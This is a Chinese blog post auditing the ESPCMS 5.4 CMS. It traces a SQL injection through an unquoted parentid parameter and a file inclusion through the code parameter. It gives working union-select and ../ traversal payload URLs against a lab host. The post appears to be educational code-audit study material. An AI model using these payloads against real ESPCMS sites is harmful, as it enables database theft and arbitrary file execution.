espcms审计
简介
学习尹毅大佬的代码审计,参照进行敏感函数回溯
版本
5.4.12.05.14
代码
SQL注入
1、使用Seay源代码审计系统,进行自动审计,发现sql语句直接进行查询
2、定位到代码
3、发现函数在传递的过程中,$parentid值通过函数accept生成
4、定位accept函数
5、传入两个值,var对应R,可以看到$var获取GET、POST、Cookie参数的值,最后在通过addslanshes验证
6、回顾之前sql语句,并不需要单引号,双引号闭合
$sql = "select * from $db_table where parentid=$parentid";
7、在citylist.php中,oncitylist()在important类中,全局搜索important
8、在index.php中,发现action为函数名(前面拼接on)
9、那么构造语句
http://10.211.55.6/espcms/upload/adminsoft/index.php?archive=citylist&action=citylist&parentid=-1 order by 6
http://10.211.55.6/espcms/upload/adminsoft/index.php?archive=citylist&action=citylist&parentid=-1 union select 1,2,3,4,5
http://10.211.55.6/espcms/upload/adminsoft/index.php?archive=citylist&action=citylist&parentid=-1 union select 1,2,user(),4,5
文件包含
1、发现参数值拼接.php
2、定位到函数
3、$plugcode在传递过程中通过accept函数,定位函数
4、传入两个值,var对应G,可以看到$var GET获取参数的值,最后在通过addslanshes验证
5、返回templatemain.php中,会读取public/lable/目录下的文件
6、为了进行验证,现在public下生成个phpinfo文件
<?php
phpinfo();
?>
7、接下来就定位到类important,全局搜索important,在index.php中,发现action为函数名(前面拼接on)
8、通过得到的信息,构建payload
http://10.211.55.6/espcms/upload/adminsoft/index.php?archive=templatemain&action=attrindex&code=../phpinfo
版权声明:
本站所有文章除特别声明外,均採用 CC BY-NC-SA 4.0 许可协议。转载请注明来自
weehhd!
喜欢就支持一下吧
打赏
微信
支付宝